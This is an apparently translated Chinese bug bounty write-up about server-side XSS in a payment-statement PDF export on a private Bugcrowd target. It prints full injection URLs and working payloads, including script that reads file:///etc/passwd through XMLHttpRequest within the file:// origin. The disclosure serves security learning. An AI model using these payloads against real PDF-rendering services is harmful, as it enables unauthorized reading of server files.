导语:各位漏洞赏金猎人大家好,这一次要同大家分享一个我在Bugcrowd私有项目(xyz.com)中发现的漏洞,起初我以为没有太大的危害(P4),但后来漏洞危害被提升到了P1。
各位漏洞赏金猎人大家好,这一次要同大家分享一个我在Bugcrowd私有项目(xyz.com)中发现的漏洞,起初我以为没有太大的危害(P4),但后来漏洞危害被提升到了P1。
在浏览应用程序时,我发现了一个接口,该接口允许我们以PDF的方式下载某些支付说明文档,链接如下:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=xyz&date=2017-08-11&settlement_type=all&advice_id=undefined
我看到utrnumber的值直接被输出在下载的PDF文件里面,所以我在utrnumber参数中添加了一些HTML内容“> <S> aaa,如下:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><S>aaa &date=2017-08-11&settlement_type=all&advice_id=undefined
打开这个PDF后,我发现HTML已经在PDF被渲染并可视
我尝试了一下是否可以使用iframe加载内部域名或者通过iframe的file协议读取/etc/passwd/的内容,但是都失败了!同时,我也没办法通过iframe加载外部域名,如下链接:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><iframe src="http://localhost"></iframe>&date=2017-08-11&settlement_type=all&advice_id=undefined
测完上面的内容之后,我不知道到底接下来还能不能更进一步,因为我不确定是否可以在PDF中执行JavaScript。在做了更多的测试后,我发现可以通过DOM操作执行如下JavaScript:
<p id="test">aa</p><script>document.getElementById('test').innerHTML+='aa'</script>
链接如下:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<p id="test">aa</p><script>document.getElementById('test').innerHTML+='aa'</script>&date=2017-08-11&settlement_type=all&advice_id=undefined
下载PDF后,我发现内容中包含了“aaaa”
再过了一会,我发现我也可以使用document.write()函数更容易地显示结果。
<img src=x onerror=document.write('aaaa')>
链接如下:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x onerror=document.write('aaaa')>&date=2017-08-11&settlement_type=all&advice_id=undefined
在此之后,我通过window.location检查了一下JavaScript执行所在的域,令我吃惊的是它在服务器的file://域下,链接如下:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x onerror=document.write('aaaa'%2bwindow.location)>&date=2017-08-11&settlement_type=all&advice_id=undefined
既然它在file://域下执行,我尝试了一下是否可以通过XHR(XMLHttpRequest)的file请求读取/etc/passwd文件的内容,能否可行我也不是很清楚。
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
链接如下:
https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>&date=2017-08-11&settlement_type=all&advice_id=undefined
然后就如同你看到的,它成功了!
所以说这是一个通过服务端的XSS读取本地文件然后生成PDF的漏洞!
你可以看下为了测试这个漏洞,我下载了多少个PDF!:)